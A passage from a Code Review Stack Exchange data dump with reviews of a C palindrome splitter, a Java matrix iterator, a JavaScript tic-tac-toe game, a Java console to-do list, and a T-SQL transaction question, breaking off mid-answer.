"body": "<blockquote>\n<pre><code>int is_palendrome(char *arr,int n,int l,int r)\n</code></pre>\n</blockquote>\n<p>Spelling: <em>palindrome</em></p>\n<p>Consider including <code><stdbool.h></code> and returning a <code>bool</code> value.</p>\n<p>The arguments could do with more descriptive names. It's particularly unclear what <code>n</code> is for, as it appears to be unused within the function.</p>\n<p>Why does <code>arr</code> point to modifiable <code>char</code>? I think we should pass <code>const char*</code>.</p>\n<p><code>l</code> and <code>r</code> might be better as <code>size_t</code> values (include <code><stdint.h></code>) since they are used to index a string. Alternatively, we could just pass a pair of pointers:</p>\n<pre><code>#include <stdbool.h>\n\nbool is_palindrome(const char *left, const char *right)\n{\n while (left < right) {\n if (*left++ != *right--)\n return false;\n }\n return true;\n}\n</code></pre>\n<hr />\n<blockquote>\n<pre><code>int bps(char *arr,int n,int r, int l)\n</code></pre>\n</blockquote>\n<p>This one could do with a better name. And we should document what it returns. In fact, at present, it's missing a <code>return</code> statement, so that needs fixing.</p>\n<blockquote>\n<pre><code>if(l==n)\nreturn 0;\nint x=0;\n</code></pre>\n</blockquote>\n<p>That indentation style is unhelpful. It's possibly caused by pasting tab characters into Stack Exchange (which has tab-stops every 4 characters, unlike most terminals). That's a good reason to use spaces for indentation (or, like Linux sources, use a full tab for each indent level).</p>\n<p>The variable <code>x</code> which remembers which branch of the <code>if</code> we took doesn't add value - just move the <code>if (x==1)</code> code into those branches:</p>\n<pre><code>if(is_palendrome(arr,n,l,r))\n{\n /* x=1; */\n …\n l = r+1;\n r = n;\n} else {\n --r;\n}\n\nbps(arr,n,r,l);\n</code></pre>\n<blockquote>\n<pre><code> for(int i=l;i<=r;i++)\n {\n printf("%c",arr[i]);\n\n }\n printf("\\n");\n</code></pre>\n</blockquote>\n<p>Performing our output within the function limits its usefulness. We're not able to do anything else with the results in a future program.</p>\n<p>Also, we don't need to write a loop to print a substring - we can do that with <code>%s</code> conversion by passing a precision specification like this:</p>\n<pre><code> printf("%.*s\\n", r+1-l, arr+l);\n</code></pre>\n<hr />\n<p>The signature of the main function should be <code>int main(void)</code> - Standard C does not permit <code>main()</code> with a <code>void</code> return type. However, the magic of <code>main()</code> is that you don't need to write a <code>return</code> statement - if omitted, then <code>main()</code> (and only <code>main()</code>) will return a success value (zero).</p>\n<p>The variable <code>array</code> seems unused.</p>\n<hr />\n<h1>Changing the interface</h1>\n<p>To use the results more flexibly, I would write the function to return the length of the longest initial palindrome. That way, the caller can choose what to do with it, and whether to continue looking at the rest of the string.</p>\n<pre><code>#include <stdbool.h>\n\nbool is_palindrome(const char *left, const char *right)\n{\n while (left < right) {\n if (*left++ != *right--)\n return false;\n }\n return true;\n}\n\n/* Returns the length of the longest palindrome anchored to the\n beginning of the string. This will be zero if the string is\n empty.\n */\nsize_t longest_initial_palindrome(const char* s)\n{\n size_t len = strlen(s);\n while (len && !is_palindrome(s, s + len - 1)) {\n --len;\n }\n return len;\n}\n</code></pre>\n<p>For example, here's a program that processes each of its arguments, and enumerates the palindromes therein:</p>\n<pre><code>#include <stdio.h>\n\nint main(int argc, char **argv)\n{\n for (int i = 1; i < argc; ++i) {\n const char *s = argv[i];\n printf("\\n%s:\\n", s);\n size_t index = 0;\n size_t pal_len;\n while ((pal_len = longest_initial_palindrome(s))) {\n printf("%zu: %.*s\\n", ++index, (int)pal_len, s);\n s += pal_len;\n }\n }\n}\n</code></pre>\n<hr />\n<h1>Algorithm</h1>\n<p>The program doesn't work as advertised. For example, input <code>abaccccab</code> should find longest palindromic substring <code>baccccab</code>, and so split <code>a</code>/<code>baccccab</code>. Instead, it starts from the left, and splits as <code>aba</code>/<code>cccc</code>/<code>a</code>/<code>b</code>.</p>\n<p>Fixing that problem is left as an exercise.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T06:03:16.643",
"Id": "521182",
"Score": "0",
"body": "This should be my masters thesis topic. I did not solve it. Still trying. There are whole research topics and papers on palendromic substring is this true. Is it this complex?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T08:51:30.553",
"Id": "521191",
"Score": "0",
"body": "Yes, I wrote \"left as an exercise\" somewhat tongue-in-cheek! It would seem to be a _difficult_ problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-23T11:52:00.590",
"Id": "522000",
"Score": "0",
"body": "Yes it is complex (The fastest method I am familiar with is using an LCS tree), if you are trying to solve is as a masters thesis I would highly recommend not to write code. Get yourself a paper and a pen and calculate the time complexity with a fully figured out algorithm. Good luck :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:42:08.423",
"Id": "263803",
"ParentId": "263798",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263803",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T09:02:59.043",
"Id": "263798",
"Score": "1",
"Tags": [
"algorithm",
"c",
"palindrome"
],
"Title": "Find largest palindromic substrings in a string"
}
|
263798
|
<p>I have implemented a <code>MatrixIt</code> class to traverse a 2D array. Is it possible to make the code clearer and shorter?</p>
<pre><code>public class MatrixIt implements Iterator<Integer> {
private final int[][] data;
private int row = 0;
private int column = 0;
public MatrixIt(int[][] data) {
this.data = data;
}
@Override
public boolean hasNext() {
while (row < data.length && data[row].length == column) {
column = 0;
row++;
}
return row < data.length;
}
@Override
public Integer next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
return data[row][column++];
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T19:08:19.463",
"Id": "521003",
"Score": "0",
"body": "The `while` in your `hasNext` method could probably be changed to a simple `if` statement"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T07:09:29.037",
"Id": "521031",
"Score": "1",
"body": "How do you expect your `hasNext()` and `next()` methods to behave? How do you define traversal in context of a matrix?"
}
] |
[
{
"body": "<p>Interestingly, the thing that most facilitates a simple row-wise iterator is to arrange the storage in the same format that we'll iterate.</p>\n<p>Instead of having an array of references to per-row arrays, representing a matrix by a single linear array is a good choice: faster to create, and with better memory locality:</p>\n<pre><code>public class Matrix {\n private int[] data;\n int width;\n int height;\n\n int get(int x, int y) {\n return data[y * width + x];\n }\n\n void set(int x, int y, int value) {\n data[y * width + x] = value;\n }\n}\n</code></pre>\n<p>Then the iterator can be a simple (linear) iterator over the <code>data</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T13:21:52.933",
"Id": "263861",
"ParentId": "263799",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263861",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T10:39:02.523",
"Id": "263799",
"Score": "0",
"Tags": [
"java",
"matrix",
"iterator"
],
"Title": "Iterating 2d array"
}
|
263799
|
<p>I have made the tic-tac-toe game as part of The Odin Project course.</p>
<p>I think the code I have written just works but is not properly optimized for performance and it could be made simpler.</p>
<p>This is script.js file</p>
<pre><code> const gameboard = () =>
{
//setting up the player and the array of board
let board = ['','','','','','','','',''];
let player = (symbol) =>
{
getsymbol = () => symbol;
return{getsymbol}
}
let player_one = player('X');
let player_two = player('O');
//DOM - selection of blocks.
var blocks = document.querySelectorAll('.block');
var resultdiv = document.querySelector('.result');
var counter = 1;
var cntr = 0;
function play()
{
blocks.forEach((block)=>
{
block.addEventListener('click', ()=>
{
if (cntr == 1)
{
console.log('refresh the page to continue');
}
else
{
if(block.textContent == '')
{
if(counter % 2 == 1)
{
block.textContent = player_one.getsymbol();
}
else if (counter % 2 == 0)
{
block.textContent = player_two.getsymbol();
}
board[parseInt(block.getAttribute('value'))] = block.textContent;
if (counter>4)
{
check();
}
//console.log(counter);
counter++;
}
else if(block.textContent != '')
{
console.log('You already selected that.');
}
}
})
})
}
//for inserting the board to the screen
function display()
{
blocks.forEach((block)=>
{
for (let i = 0; i < board.length; i++)
{
block.innerHTML = board[i];
console.log('hello')
}
})
}
function check()
{
var winconditions = [
[0,1,2],
[3,4,5],
[6,7,8],
[0,3,6],
[1,4,7],
[2,5,8],
[0,4,8],
[2,4,6]
]
var conditioncounter = 1;
for(let i = 0; i < winconditions.length; i++ )
{
if(board[winconditions[i][0]] == board[winconditions[i][1]] && board[winconditions[i][1]] == board[winconditions[i][2]] && board[winconditions[i][0]] != '' && board[winconditions[i][0]] == player_one.getsymbol())
{
cntr = 1;
let result = document.createElement('h2');
result.textContent = 'Player 1 Win ';
let refresh = document.createElement('button')
refresh.innerHTML = 'Refresh';
refresh.setAttribute('onClick', 'window.location.reload();');
result.appendChild(refresh);
resultdiv.appendChild(result);
break;
}
else if(board[winconditions[i][0]] == board[winconditions[i][1]] && board[winconditions[i][1]] == board[winconditions[i][2]] && board[winconditions[i][0]] != '' && board[winconditions[i][0]] == player_two.getsymbol())
{
cntr = 1;
let result = document.createElement('h2');
result.textContent = 'Player 2 Win';
let refresh = document.createElement('button')
refresh.innerHTML = 'Refresh';
refresh.setAttribute('onClick', 'window.location.reload();');
result.appendChild(refresh);
resultdiv.appendChild(result);
break;
}
else if(board.includes(''))
{
continue;
}
else
{
let result = document.createElement('h2');
result.textContent = 'Draw Game';
let refresh = document.createElement('button')
refresh.innerHTML = 'Refresh';
refresh.setAttribute('onClick', 'window.location.reload();');
result.appendChild(refresh);
resultdiv.appendChild(result);
break;
}
}
}
play();
return{board};
}
let gb = gameboard();
</code></pre>
<p>This is the HTML file</p>
<pre><code><!DOCTYPE html>
<html lang="en">
<head>
<title>Tic-tac-toe</title>
<link rel="stylesheet" href="style.css">
<script src="script.js" defer></script>
</head>
<body>
<br><br><br><br>
<div id="container">
<div class="block" value='0'></div>
<div class="block" value='1'></div>
<div class="block" value='2'></div>
<div class="block" value='3'></div>
<div class="block" value='4'></div>
<div class="block" value='5'></div>
<div class="block" value='6'></div>
<div class="block" value='7'></div>
<div class="block" value='8'></div>
</div>
<div class="result">
</div>
</body>
</html>
</code></pre>
<p>And this is the CSS file</p>
<pre><code>*, *::before, *::after{
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
font-weight: normal;
}
body {
padding: 0;
margin: 0;
background-color: black;
}
#container
{
display: grid;
grid-template-columns: repeat(3, 40px);
grid-template-rows: repeat(3,40px);
border: 0px solid black;
justify-content: center;
align-content: center;
min-height: 0vh;
grid-row-gap: 8px;
grid-column-gap: 8px;
margin: auto;
width: 50%;
padding: 70px 0;
text-align: center;
}
.block
{
line-height: 40px;
text-align: center;
border: 0px solid black;
background-color: white;
}
.result
{
color: white;
text-align: center;
}
</code></pre>
<p>Any help on how to increase performance, reduce and improve code and better programming practices would be greatly appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T04:47:14.027",
"Id": "520955",
"Score": "0",
"body": "In Javascript, you may run into syntax issues if you put curly brackets on different lines, especially with some upcoming features that are being added to Javascript. There are technical reasons for this, but it boils down to wanting to add new keywords while keeping backwards compatibility. If you really care, see here for one example: https://github.com/tc39/proposal-pattern-matching/issues/196"
}
] |
[
{
"body": "<h2>Review</h2>\n<p>This review only looks at the JavaScript.</p>\n<h2>Style</h2>\n<ul>\n<li><p>Opening <code>{</code> on the same line.</p>\n</li>\n<li><p><code>else</code> on the same line as closing <code>}</code></p>\n</li>\n<li><p>Declare constants with <code>const</code></p>\n</li>\n<li><p>JavaScript naming convention is <code>camelCase</code>. Avoid using <code>snake_case</code></p>\n</li>\n<li><p>Be consistent with semicolons.</p>\n</li>\n<li><p>Avoid using <code>continue</code> as it breaks the flow.</p>\n</li>\n<li><p>Avoid using <code>break</code> when not needed.</p>\n</li>\n<li><p>Space before the <code>(</code> for tokens. Example <code>if (</code>, <code>for (</code>, <code>while (</code> and so on.</p>\n</li>\n<li><p>Use strict equality <code>===</code> rather than <code>==</code>. Same with inequality <code>!==</code> rather than <code>!=</code></p>\n</li>\n<li><p>Use <code>for of</code> when possible rather than <code>for;;</code></p>\n</li>\n<li><p>Do not test a condition twice.</p>\n<p>Example you have...</p>\n<blockquote>\n<pre><code>if (counter % 2 == 1) {\n // code\n} else if (counter % 2 == 0) { // if counter % 2 is not 1 it must be 0\n</code></pre>\n</blockquote>\n<p>can be...</p>\n<pre><code> if (counter % 2) { // will evaluate to true\n // code\n } else { // no need to check counter % 2 is 0 \n</code></pre>\n</li>\n</ul>\n<h2>Design</h2>\n<p>The code is overly complex due to repeated code and repeated conditional checks. Your lack of experience is part of the problem, but do keep at it.</p>\n<p>As a beginner I suggest you use the directive <code>"use strict";</code> at the top of each JS block or file.</p>\n<p>The player object can be simplified. All it does is return the symbol <code>X</code>, <code>O</code> so just store the string for each player.</p>\n<p>The end game <code>check</code> is retesting the same condition many times. Move the drawn game test out of the loop. The test for a matching row need only be done once per iteration. If a row is complete then test which player has that row rather than test each row for each player. (See rewrite)</p>\n<h2>Rewrite</h2>\n<p>The rewrite simplifies your original code.</p>\n<p>The rewrite is untested.</p>\n<p>I could not find a call to <code>display</code> however I rewrote that function and left it in.</p>\n<pre><code>"use strict";\n;(() => {\n const board = ["", "", "", "", "", "", "", "", ""];\n const playerOne = "X", playerTwo = "O";\n const blocks = document.querySelectorAll(".block");\n const resultdiv = document.querySelector(".result");\n const winConditions = [[0,1,2], [3,4,5], [6,7,8], [0,3,6], [1,4,7], [2,5,8],[0,4,8], [2,4,6]]; \n var counter = 1;\n var gameOver = false;\n\n const cellClick = (block) => () => { /* returns a function to use as listener */\n if (gameOver) {\n console.log("Refresh the page to continue");\n } else {\n if (!block.textContent) {\n block.textContent = counter % 2 ? playerOne : playerTwo;\n board[block.value] = block.textContent;\n counter++ > 4 && check();\n } else {\n console.log("Invalid move");\n }\n }\n };\n function play() {\n blocks.forEach(block => block.addEventListener("click", cellClick(block)));\n } \n\n function display() { /* This function is never used??? */\n blocks.forEach((block)=> {\n for (const cell of board.length) { block.textContent = cell }\n });\n }\n function displayResult(text) {\n const result = Object.assign(document.createElement("h2"), {textContent: text});\n const refreshBtn = Object.assign(document.createElement("button"), {\n textContent: "Refresh", onClick: () => location.reload()\n });\n result.appendChild(refreshBtn); \n resultdiv.appendChild(result);\n }\n function check() {\n for (const winPos of winConditions) { \n if (board[winPos[0]] == board[winPos[1]] && board[winPos[1]] == board[winPos[2]] && board[winPos[0]] !== "") { \n gameOver = true;\n displayResult("Player " + (board[winPos[0]] === playerOne ? "1" : "2") + " Wins");\n return;\n } \n }\n if (!board.includes("")) {\n gameOver = true;\n displayResult("Game drawn");\n } \n } \n play();\n})();\n\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T05:50:55.610",
"Id": "520959",
"Score": "0",
"body": "Thank You for your input and re-write. I have implemented all the changes you suggested. The only thing that does not work as you have written is `function play()`. For some reason the `cellClick(block)` referencing does not work properly and throws weird errors in the board. To overcome that I had to write the function inside the play() function itself. It works perfectly everywhere else."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:15:55.973",
"Id": "263805",
"ParentId": "263800",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263805",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:08:56.550",
"Id": "263800",
"Score": "2",
"Tags": [
"javascript",
"node.js",
"tic-tac-toe"
],
"Title": "Web-browser Tic-Tac-Toe game"
}
|
263800
|
<p>this is my second program that I have made as a Java beginner (started out like two weeks ago). The program utilizes scanner and arraylist to create a to do list which the user can add to and print it at the end when they are done. I would like to know if there's anything I can improve or optimize in a more simple and elegant way :).</p>
<pre><code>import java.util.ArrayList;
import java.util.Calendar;
import java.util.Scanner;
public class ToDoList {
static Scanner userInput = new Scanner(System.in);
static ArrayList<String> userList = new ArrayList<>();
public static void createList() {
System.out.println("ToDoList Creator - Create to do lists using Java.");
System.out.println("Type '!view' to exit and view your list.");
System.out.println("Enter your tasks in the line below.");
while (true) {
System.out.print("-: ");
String definedCommand = userInput.nextLine();
SimpleDateFormat simpleDate = new SimpleDateFormat("yyyy/MM/dd");
Calendar currentDate = Calendar.getInstance();
if (definedCommand.equals("!view")) {
System.out.println("List's Date: " + simpleDate.format(currentDate.getTime()));
for (int listSize = 0; listSize != userList.size(); listSize++) {
System.out.println(listSize + 1 + ". " + userList.get(listSize));
}
break;
} else {
userList.add(definedCommand);
}
}
}
public static void main(String[] args) {
createList();
}
}
</code></pre>
|
[] |
[
{
"body": "<p>What you wrote is really good for someone that just started programming :) What you can do now is look at your code from a higher level</p>\n<h1>Initial comments</h1>\n<pre><code>// this is not a todo list or "only" a todo list\npublic class ToDoList {\n // initialization - nothing much to see right now except naming \n // userInput should be a scanner or sc\n // userList should be a todoList\n static Scanner userInput = new Scanner(System.in);\n static ArrayList<String> userList = new ArrayList<>();\n\n // This doesn't really create a list or "only" create a list\n public static void createList() {\n // welcome message / instructions\n System.out.println("ToDoList Creator - Create to do lists using Java.");\n System.out.println("Type '!view' to exit and view your list.");\n System.out.println("Enter your tasks in the line below.");\n\n // main loop\n while (true) {\n // input tag thingy - sorry don't know if this has a name\n System.out.print("-: ");\n\n // read a command\n String definedCommand = userInput.nextLine();\n\n // initialization of variables that will only be used when !view command\n // is present - hint hint\n SimpleDateFormat simpleDate = new SimpleDateFormat("yyyy/MM/dd");\n Calendar currentDate = Calendar.getInstance();\n\n // if user typed view command\n if (definedCommand.equals("!view")) {\n // print list's date\n System.out.println("List's Date: " + simpleDate.format(currentDate.getTime()));\n\n // print list items\n for (int listSize = 0; listSize != userList.size(); listSize++) { \n System.out.println(listSize + 1 + ". " + userList.get(listSize));\n }\n\n // end loop\n break;\n } else {\n // add command to the todo list\n userList.add(definedCommand);\n }\n }\n }\n\n public static void main(String[] args) {\n createList();\n }\n}\n</code></pre>\n<h1>First step</h1>\n<p>The next objective is to get rid of the comments as much as possible.</p>\n<pre><code>public class TodoListApp {\n static Scanner sc = new Scanner(System.in);\n static ArrayList<String> todoList = new ArrayList<>();\n\n public static void main(String[] args) {\n start();\n }\n\n public static void start() {\n printInstructions();\n\n mainLoop();\n }\n\n private static void printInstructions() {\n System.out.println("ToDoList Creator - Create to do lists using Java.");\n System.out.println("Type '!view' to exit and view your list.");\n System.out.println("Enter your tasks in the line below.");\n }\n\n private static void mainLoop() {\n while (true) {\n printLineStart();\n\n String command = readCommand();\n \n if (isViewListCommand(command)) {\n printList();\n break;\n } else {\n addToTodoList(command)\n }\n }\n }\n\n private static void printLineStart() {\n System.out.print("-: ");\n }\n\n private static String readCommand() {\n return sc.nextLine();\n }\n\n private static boolean isViewListCommand(String command) {\n return command.equals("!view")\n }\n\n private static void printList() {\n SimpleDateFormat simpleDate = new SimpleDateFormat("yyyy/MM/dd");\n Calendar currentDate = Calendar.getInstance();\n System.out.println("List's Date: " + simpleDate.format(currentDate.getTime()));\n\n for (int listSize = 0; listSize != todoList.size(); listSize++) { \n System.out.println(listSize + 1 + ". " + todoList.get(listSize));\n }\n }\n\n private static void addToTodoList(String item) {\n userList.add(item);\n }\n}\n</code></pre>\n<p>This is already a good first step. Comments are gone, the code is more split up and thus easier to read - it is clear what the code will do from method names without you having to figure it out from the code itself.</p>\n<h1>Splitting it up</h1>\n<p>You might notice that the class ToDoListApp is overworked - it reads the commands, manages the todo list and runs the program. The next step is to split this up into three classes, each doing it's job.</p>\n<pre><code>public class Main {\n public static void main(String[] args) {\n TodoList todoList = new TodoList();\n TodoListApp app = new TodoListApp(todoList);\n app.start();\n }\n}\n\nclass TodoListApp {\n private boolean isRunning = true\n private Scanner sc = new Scanner(System.in);\n private TodoList todoList;\n\n public TodoListApp(TodoList todoList) {\n this.todoList = todoList;\n }\n\n public void start() {\n printInstructions();\n\n mainLoop();\n }\n\n private void printInstructions() {\n System.out.println("ToDoList Creator - Create to do lists using Java.");\n System.out.println("Type '!view' to exit and view your list.");\n System.out.println("Enter your tasks in the line below.");\n }\n\n private void mainLoop() {\n while(isRunning) {\n printLineStart();\n\n String command = readCommand();\n \n isRunning = executeCommand(command);\n }\n }\n\n private boolean executeCommand(String command) {\n if (isViewListCommand(command)) {\n todoList.printList();\n return false;\n } else {\n todoList.addToTodoList(command);\n return true;\n }\n }\n\n private void printLineStart() {\n System.out.print("-: ");\n }\n\n private String readCommand() {\n return sc.nextLine();\n }\n\n private boolean isViewListCommand(String command) {\n return command.equals("!view")\n }\n}\n\nclass TodoList {\n private ArrayList<String> todoList = new ArrayList<>();\n\n private void addToTodoList(String item) {\n userList.add(item);\n }\n\n public void printTodoList() {\n System.out.println("List's Date: " + todaysDate());\n\n for (int index = 0; index < todoList.size(); index++) { \n printItemAt(index);\n }\n\n // if you are feeling brave you can use the line below instead of the for loop:\n // IntStream.range(0, todoList.size()).forEach(this::printItemAtIndex)\n // .range() esentially returns you a list (not really, but close enough) of\n // integers from 0 to list size - [0, 1, 2, ..., 9] if list size = 10. Then \n // printItemAtIndex gets called for each item in the array. If you don't \n // understand this don't stress, come to it later.\n }\n\n private printItemAtIndex(int index) {\n System.out.println((index + 1) + ". " + todoList.get(index));\n }\n\n private todaysDate() {\n SimpleDateFormat simpleDate = new SimpleDateFormat("yyyy/MM/dd");\n Calendar currentDate = Calendar.getInstance();\n\n return simpleDate.format(currentDate.getTime());\n }\n}\n</code></pre>\n<p>Hopefully this is not too much for you to understand as it is a bit more lines of code and probably also a new concept of splitting the code up into smaller modules.</p>\n<p>Edit:</p>\n<h1>Making it a CLI</h1>\n<p>So right now the code is split up nicely, the only friction I see is the following:</p>\n<pre><code>todoList.addToTodoList(command);\n</code></pre>\n<p>The thing added to the todo list is a command, which is odd - the CLI should have a format that is [command] [...options] [...arguments]. This allows you to have multiple commands - view, add, delete, exit. Right now you can only have commands that don't receive arguments. Command that is now "new todo item" would have to become "add new todo item". I hope it makes sense.</p>\n<p>To do this you have to modify how you read the command and how the command is represented.</p>\n<pre><code>class TodoListApp {\n...\n\n private void mainLoop() {\n while(isRunning) {\n printLineStart();\n\n // this now changed\n Command command = readCommand();\n \n isRunning = executeCommand(command);\n }\n }\n\n // You will have to implement this - eventually you will probably want to\n // move this into a separate class and pass it to the app through the constructor\n // the same way TodoList is passed in\n private Command readCommand() {\n ...\n\n return new Command(command, options, argument);\n }\n\n private boolean executeCommand(Command command) {\n if (isViewListCommand(command)) {\n todoList.printList();\n return true;\n } \n // not else, but check if it is another command\n else if(isAddToListCommand(command)) {\n todoList.addToTodoList(command.argument());\n return true;\n }\n else if(isExitCommand()) { return false; }\n else {\n printListOfCommands();\n }\n }\n\n private boolean isViewListCommand(Command command) {\n return command.is("view"); // you can remove the ! now\n }\n\n...\n}\n\nclass Command {\n private String command;\n private Map<String, String> options;\n private String argument;\n\n // constructor to initialize the private parameters is left out\n\n public boolean is(String command) {\n return this.command.equals(command);\n }\n\n public boolean hasOption(String option) {\n ...\n }\n\n public String option(String option) {\n ...\n }\n\n public String argument() {\n return argument;\n }\n}\n</code></pre>\n<p>Hopefully you understand this bit of code an will be able to implement it yourself. You can omit the Command options at the beginning and only have command and argument in the Command class just so you will parse the command easier. I have added the options in there so you have a structure to use moving forward.</p>\n<p>Also, the executeCommand() if-elseif blocks might grow, so you might want to split them up in more objects like this:</p>\n<pre><code>...\n if (isViewListCommand(command)) {\n return new ViewList(command, todoList).execute();\n }\n...\n\nclass ViewList {\n private Command command;\n private TodoList todoList;\n\n // constructor\n\n public boolean execute() {\n todoList.printList();\n return true;\n }\n}\n</code></pre>\n<p>I have to note, that this is way over engineered for the program that you have now, but I am just telling you the tools that you can use if things start to blow up :)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T20:17:15.110",
"Id": "520936",
"Score": "0",
"body": "I greatly appreciate this answer because that's eventually what I am aiming for at the end of learning the basics. Split up everything in separate classes and modules so it's easier to expand on rather than everything crammed in one class. Thank you for taking your time! (btw the tag thingy was made to look similar like a command line :p)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T04:58:54.077",
"Id": "520956",
"Score": "0",
"body": "Yeah I know it is made to look like a command line, I just have no idea what that is called and if it even has a name :D I left out one bit that that is not really correct and that is command parsing - it might be too advanced for you, but I will outline what you need to do and leave you to implement it"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:03:02.580",
"Id": "263819",
"ParentId": "263802",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263819",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:33:28.993",
"Id": "263802",
"Score": "4",
"Tags": [
"java",
"beginner",
"to-do-list"
],
"Title": "Basic ToDoList - Create a simple to do list and print it whenever you are done"
}
|
263802
|
<p>My QA told me that I should not use <code>IF SELECT</code> before doing an <code>UPDATE</code> statement because it will breaks the atomicity of a transaction. I'm doing some research about this but cant find any article saying <code>IF SELECT</code> is not a good practice for <code>TRANSACTION</code>.</p>
<pre><code>--setup example tables
DECLARE @tblCustomer TABLE(
CustomerId int identity(1,1),
FullName varchar(255),
CustomerStatus varchar(100)
)
DECLARE @tblRestaurant TABLE(
RestaurantId int identity(1,1),
RestaurantName varchar(255),
RestaurantStatus varchar(100)
)
INSERT INTO @tblCustomer (FullName) values ('Tom Hanks')
INSERT INTO @tblCustomer (FullName) values ('Maria')
INSERT INTO @tblCustomer (FullName) values ('Darwin Slack')
INSERT INTO @tblRestaurant (RestaurantName, RestaurantStatus) values ('MC Donalds', 'Closed')
INSERT INTO @tblRestaurant (RestaurantName, RestaurantStatus) values ('Burger King', 'Closed')
INSERT INTO @tblRestaurant (RestaurantName, RestaurantStatus) values ('KFC', 'Closed')
--update transaction begin
BEGIN TRANSACTION;
BEGIN TRY
--Edit: I add insert statement here to add complexity in query
INSERT INTO @tblCustomer (FullName) values ('Dora Explorer')
IF EXISTS(SELECT 1 FROM @tblRestaurant WHERE RestaurantStatus = 'Open')
BEGIN
UPDATE @tblCustomer SET
CustomerStatus = 'Full'
END
SELECT * FROM @tblCustomer
COMMIT TRANSACTION;
RETURN;
END TRY
BEGIN CATCH
IF @@TRANCOUNT > 0
ROLLBACK TRANSACTION;
END CATCH;
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:22:45.540",
"Id": "520897",
"Score": "1",
"body": "By `if select` are you talking about the `if exists()`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:23:52.190",
"Id": "520898",
"Score": "0",
"body": "yes, it's pointed to `if exists ()` / `if is null ()` / `if != (select)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T14:56:15.807",
"Id": "520904",
"Score": "0",
"body": "What version of SQL server do you use?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T00:14:18.663",
"Id": "521020",
"Score": "0",
"body": "I'm using Azure SQL"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:28:10.620",
"Id": "521125",
"Score": "3",
"body": "We need to know *what the code is intended to achieve*. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436), rather than your concerns about the code."
}
] |
[
{
"body": "<blockquote>\n<p>I should not use IF SELECT before doing an UPDATE statement because it will breaks the atomicity of a transaction</p>\n</blockquote>\n<p>This is wrong. The <code>if exists / update</code> is itself a non-atomic operation, but since it exists within the context of a transaction, ACID will be preserved. If there were no transaction, no isolation level would be applied and integrity would not be guaranteed.</p>\n<p>Other points:</p>\n<ul>\n<li>your code doesn't run. So far as I can tell that's because you can't use a dynamic, table-typed variable without also constructing dynamic SQL in a string to reference it. I've worked around this by creating normal tables instead of table-typed variables.</li>\n<li><code>(1, 1)</code> is the default for <code>identity</code> and can be made implicit.</li>\n<li>Hungarian notation is these days considered awkward, non-legible and fairly out-of-fashion. Rather than prefixing <code>tbl</code>, just pluralize your table names.</li>\n<li>Prefixing the name of the table before every one of its columns - e.g. <code>CustomerStatus</code> - is redundant.</li>\n<li>Transact SQL being broken and not adhering to the SQL standard, it supports neither enumerations nor boolean columns, so for your status use either a constrained string or a bit.</li>\n<li>Combine your <code>values()</code> terms.</li>\n<li>Indent your blocks.</li>\n<li>Transact SQL again being broken, it does not consistently respect semicolons as it should. In almost all cases you should omit them.</li>\n</ul>\n<h2>Suggested</h2>\n<pre><code>create table Customers(\n -- The default for identity is (1, 1) per\n -- https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql?view=sql-server-ver17#arguments\n Id int identity primary key,\n\n -- Unless you're on SQL Server 2019 or later with UTF-8\n -- collation, you should be using nvarchar instead\n FullName varchar(255) not null,\n\n -- Status varchar(100) not null\n -- check (Status in ('Hungry', 'Full'))\n IsHungry bit not null default 1\n)\n \ncreate table Restaurants(\n Id int identity primary key,\n Name varchar(255) not null,\n\n -- Status varchar(100) not null\n -- check (status in ('Open', 'Closed'))\n IsOpen bit not null\n)\n \ninsert into Customers(FullName) values\n ('Tom Hanks'),\n ('Maria'),\n ('Darwin Slack')\n \ninsert into Restaurants(Name, IsOpen) values\n ('McDonalds', 0),\n ('Burger King', 1),\n ('KFC', 